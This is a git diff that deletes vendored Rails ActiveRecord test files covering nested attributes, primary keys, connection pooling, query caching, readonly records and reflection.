-        'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
-        'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
-      }
-    }
-  end
-
-  include NestedAttributesOnACollectionAssociationTests
-end
-
-class TestNestedAttributesLimit < ActiveRecord::TestCase
-  def setup
-    Pirate.accepts_nested_attributes_for :parrots, :limit => 2
-
-    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-  end
-
-  def teardown
-    Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
-  end
-
-  def test_limit_with_less_records
-    @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Big Big Love' } } }
-    assert_difference('Parrot.count') { @pirate.save! }
-  end
-
-  def test_limit_with_number_exact_records
-    @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Lovely Day' }, 'bar' => { :name => 'Blown Away' } } }
-    assert_difference('Parrot.count', 2) { @pirate.save! }
-  end
-
-  def test_limit_with_exceeding_records
-    assert_raises(ActiveRecord::NestedAttributes::TooManyRecords) do
-      @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Lovely Day' },
-                                                      'bar' => { :name => 'Blown Away' },
-                                                      'car' => { :name => 'The Happening' }} }
-    end
-  end
-end
-
-class TestNestedAttributesWithNonStandardPrimaryKeys < ActiveRecord::TestCase
-  fixtures :owners, :pets
-
-  def setup
-    Owner.accepts_nested_attributes_for :pets
-
-    @owner = owners(:ashley)
-    @pet1, @pet2 = pets(:chew), pets(:mochi)
-
-    @params = {
-      :pets_attributes => {
-        '0' => { :id => @pet1.id, :name => 'Foo' },
-        '1' => { :id => @pet2.id, :name => 'Bar' }
-      }
-    }
-  end
-
-  def test_should_update_existing_records_with_non_standard_primary_key
-    @owner.update_attributes(@params)
-    assert_equal ['Foo', 'Bar'], @owner.pets.map(&:name)
-  end
-end
-
-class TestHasOneAutosaveAssoictaionWhichItselfHasAutosaveAssociations < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.create!(:catchphrase => "My baby takes tha mornin' train!")
-    @ship = @pirate.create_ship(:name => "The good ship Dollypop")
-    @part = @ship.parts.create!(:name => "Mast")
-    @trinket = @part.trinkets.create!(:name => "Necklace")
-  end
-  
-  test "when great-grandchild changed in memory, saving parent should save great-grandchild" do
-    @trinket.name = "changed"
-    @pirate.save
-    assert_equal "changed", @trinket.reload.name
-  end
-  
-  test "when great-grandchild changed via attributes, saving parent should save great-grandchild" do
-    @pirate.attributes = {:ship_attributes => {:id => @ship.id, :parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :name => "changed"}]}]}}
-    @pirate.save
-    assert_equal "changed", @trinket.reload.name
-  end
-  
-  test "when great-grandchild marked_for_destruction via attributes, saving parent should destroy great-grandchild" do
-    @pirate.attributes = {:ship_attributes => {:id => @ship.id, :parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :_destroy => true}]}]}}
-    assert_difference('@part.trinkets.count', -1) { @pirate.save }
-  end
-  
-  test "when great-grandchild added via attributes, saving parent should create great-grandchild" do
-    @pirate.attributes = {:ship_attributes => {:id => @ship.id, :parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:name => "created"}]}]}}
-    assert_difference('@part.trinkets.count', 1) { @pirate.save }
-  end
-  
-  test "when extra records exist for associations, validate (which calls nested_records_changed_for_autosave?) should not load them up" do
-    @trinket.name = "changed"
-    Ship.create!(:pirate => @pirate, :name => "The Black Rock")
-    ShipPart.create!(:ship => @ship, :name => "Stern")
-    assert_no_queries { @pirate.valid? }
-  end
-end
-
-class TestHasManyAutosaveAssoictaionWhichItselfHasAutosaveAssociations < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @ship = Ship.create!(:name => "The good ship Dollypop")
-    @part = @ship.parts.create!(:name => "Mast")
-    @trinket = @part.trinkets.create!(:name => "Necklace")
-  end
-  
-  test "when grandchild changed in memory, saving parent should save grandchild" do
-    @trinket.name = "changed"
-    @ship.save
-    assert_equal "changed", @trinket.reload.name
-  end
-  
-  test "when grandchild changed via attributes, saving parent should save grandchild" do
-    @ship.attributes = {:parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :name => "changed"}]}]}
-    @ship.save
-    assert_equal "changed", @trinket.reload.name
-  end
-  
-  test "when grandchild marked_for_destruction via attributes, saving parent should destroy grandchild" do
-    @ship.attributes = {:parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :_destroy => true}]}]}
-    assert_difference('@part.trinkets.count', -1) { @ship.save }
-  end
-  
-  test "when grandchild added via attributes, saving parent should create grandchild" do
-    @ship.attributes = {:parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:name => "created"}]}]}
-    assert_difference('@part.trinkets.count', 1) { @ship.save }
-  end
-  
-  test "when extra records exist for associations, validate (which calls nested_records_changed_for_autosave?) should not load them up" do
-    @trinket.name = "changed"
-    Ship.create!(:name => "The Black Rock")
-    ShipPart.create!(:ship => @ship, :name => "Stern")
-    assert_no_queries { @ship.valid? }
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/pk_test.rb b/vendor/rails/activerecord/test/cases/pk_test.rb
deleted file mode 100644
index c121e0aa..00000000
--- a/vendor/rails/activerecord/test/cases/pk_test.rb
+++ /dev/null
@@ -1,119 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/reply'
-require 'models/subscriber'
-require 'models/movie'
-require 'models/keyboard'
-require 'models/mixed_case_monkey'
-
-class PrimaryKeysTest < ActiveRecord::TestCase
-  fixtures :topics, :subscribers, :movies, :mixed_case_monkeys
-
-  def test_integer_key
-    topic = Topic.find(1)
-    assert_equal(topics(:first).author_name, topic.author_name)
-    topic = Topic.find(2)
-    assert_equal(topics(:second).author_name, topic.author_name)
-
-    topic = Topic.new
-    topic.title = "New Topic"
-    assert_equal(nil, topic.id)
-    assert_nothing_raised { topic.save! }
-    id = topic.id
-
-    topicReloaded = Topic.find(id)
-    assert_equal("New Topic", topicReloaded.title)
-  end
-
-  def test_customized_primary_key_auto_assigns_on_save
-    Keyboard.delete_all
-    keyboard = Keyboard.new(:name => 'HHKB')
-    assert_nothing_raised { keyboard.save! }
-    assert_equal keyboard.id, Keyboard.find_by_name('HHKB').id
-  end
-
-  def test_customized_primary_key_can_be_get_before_saving
-    keyboard = Keyboard.new
-    assert_nil keyboard.id
-    assert_nothing_raised { assert_nil keyboard.key_number }
-  end
-
-  def test_customized_string_primary_key_settable_before_save
-    subscriber = Subscriber.new
-    assert_nothing_raised { subscriber.id = 'webster123' }
-    assert_equal 'webster123', subscriber.id
-    assert_equal 'webster123', subscriber.nick
-  end
-
-  def test_string_key
-    subscriber = Subscriber.find(subscribers(:first).nick)
-    assert_equal(subscribers(:first).name, subscriber.name)
-    subscriber = Subscriber.find(subscribers(:second).nick)
-    assert_equal(subscribers(:second).name, subscriber.name)
-
-    subscriber = Subscriber.new
-    subscriber.id = "jdoe"
-    assert_equal("jdoe", subscriber.id)
-    subscriber.name = "John Doe"
-    assert_nothing_raised { subscriber.save! }
-    assert_equal("jdoe", subscriber.id)
-
-    subscriberReloaded = Subscriber.find("jdoe")
-    assert_equal("John Doe", subscriberReloaded.name)
-  end
-
-  def test_find_with_more_than_one_string_key
-    assert_equal 2, Subscriber.find(subscribers(:first).nick, subscribers(:second).nick).length
-  end
-
-  def test_primary_key_prefix
-    ActiveRecord::Base.primary_key_prefix_type = :table_name
-    Topic.reset_primary_key
-    assert_equal "topicid", Topic.primary_key
-
-    ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
-    Topic.reset_primary_key
-    assert_equal "topic_id", Topic.primary_key
-
-    ActiveRecord::Base.primary_key_prefix_type = nil
-    Topic.reset_primary_key
-    assert_equal "id", Topic.primary_key
-  end
-
-  def test_delete_should_quote_pkey
-    assert_nothing_raised { MixedCaseMonkey.delete(1) }
-  end
-  def test_update_counters_should_quote_pkey_and_quote_counter_columns
-    assert_nothing_raised { MixedCaseMonkey.update_counters(1, :fleaCount => 99) }
-  end
-  def test_find_with_one_id_should_quote_pkey
-    assert_nothing_raised { MixedCaseMonkey.find(1) }
-  end
-  def test_find_with_multiple_ids_should_quote_pkey
-    assert_nothing_raised { MixedCaseMonkey.find([1,2]) }
-  end
-  def test_instance_update_should_quote_pkey
-    assert_nothing_raised { MixedCaseMonkey.find(1).save }
-  end
-  def test_instance_destroy_should_quote_pkey
-    assert_nothing_raised { MixedCaseMonkey.find(1).destroy }
-  end
-
-  def test_supports_primary_key
-    assert_nothing_raised NoMethodError do
-      ActiveRecord::Base.connection.supports_primary_key?
-    end
-  end
-
-  def test_primary_key_returns_value_if_it_exists
-    if ActiveRecord::Base.connection.supports_primary_key?
-      assert_equal 'id', ActiveRecord::Base.connection.primary_key('developers')
-    end
-  end
-
-  def test_primary_key_returns_nil_if_it_does_not_exist
-    if ActiveRecord::Base.connection.supports_primary_key?
-      assert_nil ActiveRecord::Base.connection.primary_key('developers_projects')
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/pooled_connections_test.rb b/vendor/rails/activerecord/test/cases/pooled_connections_test.rb
deleted file mode 100644
index 2649a935..00000000
--- a/vendor/rails/activerecord/test/cases/pooled_connections_test.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-require "cases/helper"
-
-class PooledConnectionsTest < ActiveRecord::TestCase
-  def setup
-    super
-    @connection = ActiveRecord::Base.remove_connection
-  end
-
-  def teardown
-    ActiveRecord::Base.clear_all_connections!
-    ActiveRecord::Base.establish_connection(@connection)
-    super
-  end
-
-  def checkout_connections
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :wait_timeout => 0.3}))
-    @connections = []
-    @timed_out = 0
-
-    4.times do
-      Thread.new do
-        begin
-          @connections << ActiveRecord::Base.connection_pool.checkout
-        rescue ActiveRecord::ConnectionTimeoutError
-          @timed_out += 1
-        end
-      end.join
-    end
-  end
-
-  # Will deadlock due to lack of Monitor timeouts in 1.9
-  if RUBY_VERSION < '1.9'
-    def test_pooled_connection_checkout
-      checkout_connections
-      assert_equal @connections.length, 2
-      assert_equal @timed_out, 2
-    end
-  end
-
-  def checkout_checkin_connections(pool_size, threads)
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :wait_timeout => 0.5}))
-    @connection_count = 0
-    @timed_out = 0
-    threads.times do
-      Thread.new do
-        begin
-          conn = ActiveRecord::Base.connection_pool.checkout
-          sleep 0.1
-          ActiveRecord::Base.connection_pool.checkin conn
-          @connection_count += 1
-        rescue ActiveRecord::ConnectionTimeoutError
-          @timed_out += 1
-        end
-      end.join
-    end
-  end
-
-  def test_pooled_connection_checkin_one
-    checkout_checkin_connections 1, 2
-    assert_equal 2, @connection_count
-    assert_equal 0, @timed_out
-  end
-
-  def test_pooled_connection_checkin_two
-    checkout_checkin_connections 2, 3
-    assert_equal 3, @connection_count
-    assert_equal 0, @timed_out
-  end
-
-  def test_pooled_connection_checkout_existing_first
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 1}))
-    conn_pool = ActiveRecord::Base.connection_pool
-    conn = conn_pool.checkout
-    conn_pool.checkin(conn)
-    conn = conn_pool.checkout
-    assert ActiveRecord::ConnectionAdapters::AbstractAdapter === conn
-    conn_pool.checkin(conn)
-  end
-
-  def test_not_connected_defined_connection_returns_false
-    ActiveRecord::Base.establish_connection(@connection)
-    assert ! ActiveRecord::Base.connected?
-  end
-
-  def test_undefined_connection_returns_false
-    old_handler = ActiveRecord::Base.connection_handler
-    ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
-    assert_equal false, ActiveRecord::Base.connected?
-  ensure
-    ActiveRecord::Base.connection_handler = old_handler
-  end
-end unless %w(FrontBase).include? ActiveRecord::Base.connection.adapter_name
-
-class AllowConcurrencyDeprecatedTest < ActiveRecord::TestCase
-  def test_allow_concurrency_is_deprecated
-    assert_deprecated('ActiveRecord::Base.allow_concurrency') do
-      ActiveRecord::Base.allow_concurrency
-    end
-    assert_deprecated('ActiveRecord::Base.allow_concurrency=') do
-      ActiveRecord::Base.allow_concurrency = true
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/query_cache_test.rb b/vendor/rails/activerecord/test/cases/query_cache_test.rb
deleted file mode 100644
index f7f97774..00000000
--- a/vendor/rails/activerecord/test/cases/query_cache_test.rb
+++ /dev/null
@@ -1,129 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/reply'
-require 'models/task'
-require 'models/course'
-require 'models/category'
-require 'models/post'
-
-
-class QueryCacheTest < ActiveRecord::TestCase
-  fixtures :tasks, :topics, :categories, :posts, :categories_posts
-
-  def test_find_queries
-    assert_queries(2) { Task.find(1); Task.find(1) }
-  end
-
-  def test_find_queries_with_cache
-    Task.cache do
-      assert_queries(1) { Task.find(1); Task.find(1) }
-    end
-  end
-
-  def test_count_queries_with_cache
-    Task.cache do
-      assert_queries(1) { Task.count; Task.count }
-    end
-  end
-
-  def test_query_cache_dups_results_correctly
-    Task.cache do
-      now  = Time.now.utc
-      task = Task.find 1
-      assert_not_equal now, task.starting
-      task.starting = now
-      task.reload
-      assert_not_equal now, task.starting
-    end
-  end
-
-  def test_cache_is_flat
-    Task.cache do
-      Topic.columns # don't count this query
-      assert_queries(1) { Topic.find(1); Topic.find(1); }
-    end
-
-    ActiveRecord::Base.cache do
-      assert_queries(1) { Task.find(1); Task.find(1) }
-    end
-  end
-
-  def test_cache_does_not_wrap_string_results_in_arrays
-    require 'sqlite3/version' if current_adapter?(:SQLite3Adapter)
-
-    Task.cache do
-      if current_adapter?(:SQLite3Adapter) && SQLite3::Version::VERSION > '1.2.5'
-        assert_instance_of Fixnum, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
-      else
-        assert_instance_of String, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
-      end
-    end
-  end
-end
-
-class QueryCacheExpiryTest < ActiveRecord::TestCase
-  fixtures :tasks, :posts, :categories, :categories_posts
-
-  def test_find
-    Task.connection.expects(:clear_query_cache).times(1)
-
-    assert !Task.connection.query_cache_enabled
-    Task.cache do
-      assert Task.connection.query_cache_enabled
-      Task.find(1)
-
-      Task.uncached do
-        assert !Task.connection.query_cache_enabled
-        Task.find(1)
-      end
-
-      assert Task.connection.query_cache_enabled
-    end
-    assert !Task.connection.query_cache_enabled
-  end
-
-  def test_update
-    Task.connection.expects(:clear_query_cache).times(2)
-
-    Task.cache do
-      task = Task.find(1)
-      task.starting = Time.now.utc
-      task.save!
-    end
-  end
-
-  def test_destroy
-    Task.connection.expects(:clear_query_cache).times(2)
-
-    Task.cache do
-      Task.find(1).destroy
-    end
-  end
-
-  def test_insert
-    ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
-
-    Task.cache do
-      Task.create!
-    end
-  end
-
-  def test_cache_is_expired_by_habtm_update
-    ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
-    ActiveRecord::Base.cache do
-      c = Category.find(:first)
-      p = Post.find(:first)
-      p.categories << c
-    end
-  end
-
-  def test_cache_is_expired_by_habtm_delete
-    ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
-    ActiveRecord::Base.cache do
-      c = Category.find(1)
-      p = Post.find(1)
-      assert p.categories.any?
-      p.categories.delete_all
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/readonly_test.rb b/vendor/rails/activerecord/test/cases/readonly_test.rb
deleted file mode 100644
index b921cbdc..00000000
--- a/vendor/rails/activerecord/test/cases/readonly_test.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/comment'
-require 'models/developer'
-require 'models/project'
-require 'models/reader'
-require 'models/person'
-
-# Dummy class methods to test implicit association scoping.
-def Comment.foo() find :first end
-def Project.foo() find :first end
-
-
-class ReadOnlyTest < ActiveRecord::TestCase
-  fixtures :posts, :comments, :developers, :projects, :developers_projects
-
-  def test_cant_save_readonly_record
-    dev = Developer.find(1)
-    assert !dev.readonly?
-
-    dev.readonly!
-    assert dev.readonly?
-
-    assert_nothing_raised do
-      dev.name = 'Luscious forbidden fruit.'
-      assert !dev.save
-      dev.name = 'Forbidden.'
-    end
-    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save  }
-    assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
-  end
-
-
-  def test_find_with_readonly_option
-    Developer.find(:all).each { |d| assert !d.readonly? }
-    Developer.find(:all, :readonly => false).each { |d| assert !d.readonly? }
-    Developer.find(:all, :readonly => true).each { |d| assert d.readonly? }
-  end
-
-
-  def test_find_with_joins_option_implies_readonly
-    # Blank joins don't count.
-    Developer.find(:all, :joins => '  ').each { |d| assert !d.readonly? }
-    Developer.find(:all, :joins => '  ', :readonly => false).each { |d| assert !d.readonly? }
-
-    # Others do.
-    Developer.find(:all, :joins => ', projects').each { |d| assert d.readonly? }
-    Developer.find(:all, :joins => ', projects', :readonly => false).each { |d| assert !d.readonly? }
-  end
-
-
-  def test_habtm_find_readonly
-    dev = Developer.find(1)
-    assert !dev.projects.empty?
-    assert dev.projects.all?(&:readonly?)
-    assert dev.projects.find(:all).all?(&:readonly?)
-    assert dev.projects.find(:all, :readonly => true).all?(&:readonly?)
-  end
-
-  def test_has_many_find_readonly
-    post = Post.find(1)
-    assert !post.comments.empty?
-    assert !post.comments.any?(&:readonly?)
-    assert !post.comments.find(:all).any?(&:readonly?)
-    assert post.comments.find(:all, :readonly => true).all?(&:readonly?)
-  end
-
-  def test_has_many_with_through_is_not_implicitly_marked_readonly
-    assert people = Post.find(1).people
-    assert !people.any?(&:readonly?)
-  end
-
-  def test_readonly_scoping
-    Post.with_scope(:find => { :conditions => '1=1' }) do
-      assert !Post.find(1).readonly?
-      assert Post.find(1, :readonly => true).readonly?
-      assert !Post.find(1, :readonly => false).readonly?
-    end
-
-    Post.with_scope(:find => { :joins => '   ' }) do
-      assert !Post.find(1).readonly?
-      assert Post.find(1, :readonly => true).readonly?
-      assert !Post.find(1, :readonly => false).readonly?
-    end
-
-    # Oracle barfs on this because the join includes unqualified and
-    # conflicting column names
-    unless current_adapter?(:OracleAdapter)
-      Post.with_scope(:find => { :joins => ', developers' }) do
-        assert Post.find(1).readonly?
-        assert Post.find(1, :readonly => true).readonly?
-        assert !Post.find(1, :readonly => false).readonly?
-      end
-    end
-
-    Post.with_scope(:find => { :readonly => true }) do
-      assert Post.find(1).readonly?
-      assert Post.find(1, :readonly => true).readonly?
-      assert !Post.find(1, :readonly => false).readonly?
-    end
-  end
-
-  def test_association_collection_method_missing_scoping_not_readonly
-    assert !Developer.find(1).projects.foo.readonly?
-    assert !Post.find(1).comments.foo.readonly?
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/reflection_test.rb b/vendor/rails/activerecord/test/cases/reflection_test.rb
deleted file mode 100644
index 8cf85051..00000000
--- a/vendor/rails/activerecord/test/cases/reflection_test.rb
+++ /dev/null
@@ -1,234 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/customer'
-require 'models/company'
-require 'models/company_in_module'
-require 'models/subscriber'
-require 'models/ship'
-require 'models/pirate'
-
-class ReflectionTest < ActiveRecord::TestCase
-  include ActiveRecord::Reflection
-
-  fixtures :topics, :customers, :companies, :subscribers
-
-  def setup
-    @first = Topic.find(1)
-  end
-
-  def test_column_null_not_null
-    subscriber = Subscriber.find(:first)
-    assert subscriber.column_for_attribute("name").null
-    assert !subscriber.column_for_attribute("nick").null
-  end
-
-  def test_read_attribute_names
-    assert_equal(
-      %w( id title author_name author_email_address bonus_time written_on last_read content group approved replies_count parent_id parent_title type ).sort,
-      @first.attribute_names
-    )
-  end
-
-  def test_columns
-    assert_equal 14, Topic.columns.length
-  end
-
-  def test_columns_are_returned_in_the_order_they_were_declared
-    column_names = Topic.columns.map { |column| column.name }
-    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content approved replies_count parent_id parent_title type group), column_names
-  end
-
-  def test_content_columns
-    content_columns        = Topic.content_columns
-    content_column_names   = content_columns.map {|column| column.name}
-    assert_equal 10, content_columns.length
-    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content group approved parent_title).sort, content_column_names.sort
-  end
-
-  def test_column_string_type_and_limit
-    assert_equal :string, @first.column_for_attribute("title").type
-    assert_equal 255, @first.column_for_attribute("title").limit
-  end
-
-  def test_column_null_not_null
-    subscriber = Subscriber.find(:first)
-    assert subscriber.column_for_attribute("name").null
-    assert !subscriber.column_for_attribute("nick").null
-  end
-
-  def test_human_name_for_column
-    assert_equal "Author name", @first.column_for_attribute("author_name").human_name
-  end
-
-  def test_integer_columns
-    assert_equal :integer, @first.column_for_attribute("id").type
-  end
-
-  def test_reflection_klass_for_nested_class_name
-    reflection = MacroReflection.new(nil, nil, { :class_name => 'MyApplication::Business::Company' }, nil)
-    assert_nothing_raised do
-      assert_equal MyApplication::Business::Company, reflection.klass
-    end
-  end
-
-  def test_aggregation_reflection
-    reflection_for_address = AggregateReflection.new(
-      :composed_of, :address, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
-    )
-
-    reflection_for_balance = AggregateReflection.new(
-      :composed_of, :balance, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
-    )
-
-    reflection_for_gps_location = AggregateReflection.new(
-      :composed_of, :gps_location, { }, Customer
-    )
-
-    assert Customer.reflect_on_all_aggregations.include?(reflection_for_gps_location)
-    assert Customer.reflect_on_all_aggregations.include?(reflection_for_balance)
-    assert Customer.reflect_on_all_aggregations.include?(reflection_for_address)
-
-    assert_equal reflection_for_address, Customer.reflect_on_aggregation(:address)
-
-    assert_equal Address, Customer.reflect_on_aggregation(:address).klass
-
-    assert_equal Money, Customer.reflect_on_aggregation(:balance).klass
-  end
-
-  def test_reflect_on_all_autosave_associations
-    expected = Pirate.reflect_on_all_associations.select { |r| r.options[:autosave] }
-    received = Pirate.reflect_on_all_autosave_associations
-
-    assert !received.empty?
-    assert_not_equal Pirate.reflect_on_all_associations.length, received.length
-    assert_equal expected, received
-  end
-
-  def test_has_many_reflection
-    reflection_for_clients = AssociationReflection.new(:has_many, :clients, { :order => "id", :dependent => :destroy }, Firm)
-
-    assert_equal reflection_for_clients, Firm.reflect_on_association(:clients)
-
-    assert_equal Client, Firm.reflect_on_association(:clients).klass
-    assert_equal 'companies', Firm.reflect_on_association(:clients).table_name
-
-    assert_equal Client, Firm.reflect_on_association(:clients_of_firm).klass
-    assert_equal 'companies', Firm.reflect_on_association(:clients_of_firm).table_name
-  end
-
-  def test_has_one_reflection
-    reflection_for_account = AssociationReflection.new(:has_one, :account, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
-    assert_equal reflection_for_account, Firm.reflect_on_association(:account)
-
-    assert_equal Account, Firm.reflect_on_association(:account).klass
-    assert_equal 'accounts', Firm.reflect_on_association(:account).table_name
-  end
-
-  def test_belongs_to_inferred_foreign_key_from_assoc_name
-    Company.belongs_to :foo
-    assert_equal "foo_id", Company.reflect_on_association(:foo).primary_key_name
-    Company.belongs_to :bar, :class_name => "Xyzzy"
-    assert_equal "bar_id", Company.reflect_on_association(:bar).primary_key_name
-    Company.belongs_to :baz, :class_name => "Xyzzy", :foreign_key => "xyzzy_id"
-    assert_equal "xyzzy_id", Company.reflect_on_association(:baz).primary_key_name
-  end
-
-  def test_association_reflection_in_modules
-    assert_reflection MyApplication::Business::Firm,
-      :clients_of_firm,
-      :klass      => MyApplication::Business::Client,
-      :class_name => 'Client',
-      :table_name => 'companies'
-
-    assert_reflection MyApplication::Billing::Account,
-      :firm,
-      :klass      => MyApplication::Business::Firm,
-      :class_name => 'MyApplication::Business::Firm',
-      :table_name => 'companies'
-
-    assert_reflection MyApplication::Billing::Account,
-      :qualified_billing_firm,
-      :klass      => MyApplication::Billing::Firm,
-      :class_name => 'MyApplication::Billing::Firm',
-      :table_name => 'companies'
-
-    assert_reflection MyApplication::Billing::Account,
-      :unqualified_billing_firm,
-      :klass      => MyApplication::Billing::Firm,
-      :class_name => 'Firm',
-      :table_name => 'companies'
-
-    assert_reflection MyApplication::Billing::Account,
-      :nested_qualified_billing_firm,
-      :klass      => MyApplication::Billing::Nested::Firm,
-      :class_name => 'MyApplication::Billing::Nested::Firm',
-      :table_name => 'companies'
-
-    assert_reflection MyApplication::Billing::Account,
-      :nested_unqualified_billing_firm,
-      :klass      => MyApplication::Billing::Nested::Firm,
-      :class_name => 'Nested::Firm',
-      :table_name => 'companies'
-  end
-
-  def test_reflection_of_all_associations
-    # FIXME these assertions bust a lot
-    assert_equal 36, Firm.reflect_on_all_associations.size
-    assert_equal 26, Firm.reflect_on_all_associations(:has_many).size
-    assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
-    assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
-  end
-
-  def test_reflection_should_not_raise_error_when_compared_to_other_object
-    assert_nothing_raised { Firm.reflections[:clients] == Object.new }
-  end
-
-  def test_has_many_through_reflection
-    assert_kind_of ThroughReflection, Subscriber.reflect_on_association(:books)
-  end
-
-  def test_collection_association
-    assert Pirate.reflect_on_association(:birds).collection?
-    assert Pirate.reflect_on_association(:parrots).collection?
-
-    assert !Pirate.reflect_on_association(:ship).collection?
-    assert !Ship.reflect_on_association(:pirate).collection?
-  end
-
-  def test_default_association_validation
-    assert AssociationReflection.new(:has_many, :clients, {}, Firm).validate?
-
-    assert !AssociationReflection.new(:has_one, :client, {}, Firm).validate?
-    assert !AssociationReflection.new(:belongs_to, :client, {}, Firm).validate?
-    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, {}, Firm).validate?
-  end
-
-  def test_always_validate_association_if_explicit
-    assert AssociationReflection.new(:has_one, :client, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:belongs_to, :client, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:has_many, :clients, { :validate => true }, Firm).validate?
-    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, { :validate => true }, Firm).validate?
-  end
-
-  def test_validate_association_if_autosave
-    assert AssociationReflection.new(:has_one, :client, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:belongs_to, :client, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:has_many, :clients, { :autosave => true }, Firm).validate?
-    assert AssociationReflection.new(:has_and_belongs_to_many, :clients, { :autosave => true }, Firm).validate?
-  end
-
-  def test_never_validate_association_if_explicit
-    assert !AssociationReflection.new(:has_one, :client, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:belongs_to, :client, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:has_many, :clients, { :autosave => true, :validate => false }, Firm).validate?
-    assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, { :autosave => true, :validate => false }, Firm).validate?
-  end
-
-  private
-    def assert_reflection(klass, association, options)
-      assert reflection = klass.reflect_on_association(association)
-      options.each do |method, value|
-        assert_equal(value, reflection.send(method))
-      end
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/reload_models_test.rb b/vendor/rails/activerecord/test/cases/reload_models_test.rb
deleted file mode 100644
index 0d16a352..00000000
--- a/vendor/rails/activerecord/test/cases/reload_models_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require "cases/helper"
-require 'models/owner'
-require 'models/pet'
-
-class ReloadModelsTest < ActiveRecord::TestCase
-  fixtures :pets
-
-  def test_has_one_with_reload
-    pet = Pet.find_by_name('parrot')
-    pet.owner = Owner.find_by_name('ashley')
-
-    # Reload the class Owner, simulating auto-reloading of model classes in a
-    # development environment. Note that meanwhile the class Pet is not
-    # reloaded, simulating a class that is present in a plugin.
-    Object.class_eval { remove_const :Owner }
-    Kernel.load(File.expand_path(File.join(File.dirname(__FILE__), "../models/owner.rb")))
-
-    pet = Pet.find_by_name('parrot')
-    pet.owner = Owner.find_by_name('ashley')
-    assert_equal pet.owner, Owner.find_by_name('ashley')
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/repair_helper.rb b/vendor/rails/activerecord/test/cases/repair_helper.rb
deleted file mode 100644
index 01556688..00000000
--- a/vendor/rails/activerecord/test/cases/repair_helper.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-module ActiveRecord
-  module Testing
-    module RepairHelper
-      def self.included(base)
-        base.class_eval do
-          extend ClassMethods
-        end
-      end
-
-      module Toolbox
-        def self.record_validations(*model_classes)
-          model_classes.inject({}) do |repair, klass|
-            repair[klass] ||= {}
-            [:validate, :validate_on_create, :validate_on_update].each do |callback|
-              the_callback = klass.instance_variable_get("@#{callback.to_s}_callbacks")
-              repair[klass][callback] = (the_callback.nil? ? nil : the_callback.dup)
-            end
-            repair
-          end
-        end
-
-        def self.reset_validations(recorded)
-          recorded.each do |klass, repairs|
-            [:validate, :validate_on_create, :validate_on_update].each do |callback|
-              klass.instance_variable_set("@#{callback.to_s}_callbacks", repairs[callback])
-            end
-          end
-        end
-      end
-
-      module ClassMethods
-        def repair_validations(*model_classes)
-          setup do
-            @validation_repairs = ActiveRecord::Testing::RepairHelper::Toolbox.record_validations(*model_classes)
-          end
-          teardown do
-            ActiveRecord::Testing::RepairHelper::Toolbox.reset_validations(@validation_repairs)
-          end
-        end
-      end
-
-      def repair_validations(*model_classes, &block)
-        validation_repairs = ActiveRecord::Testing::RepairHelper::Toolbox.record_validations(*model_classes)
-        return block.call
-      ensure
-        ActiveRecord::Testing::RepairHelper::Toolbox.reset_validations(validation_repairs)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/reserved_word_test_mysql.rb b/vendor/rails/activerecord/test/cases/reserved_word_test_mysql.rb
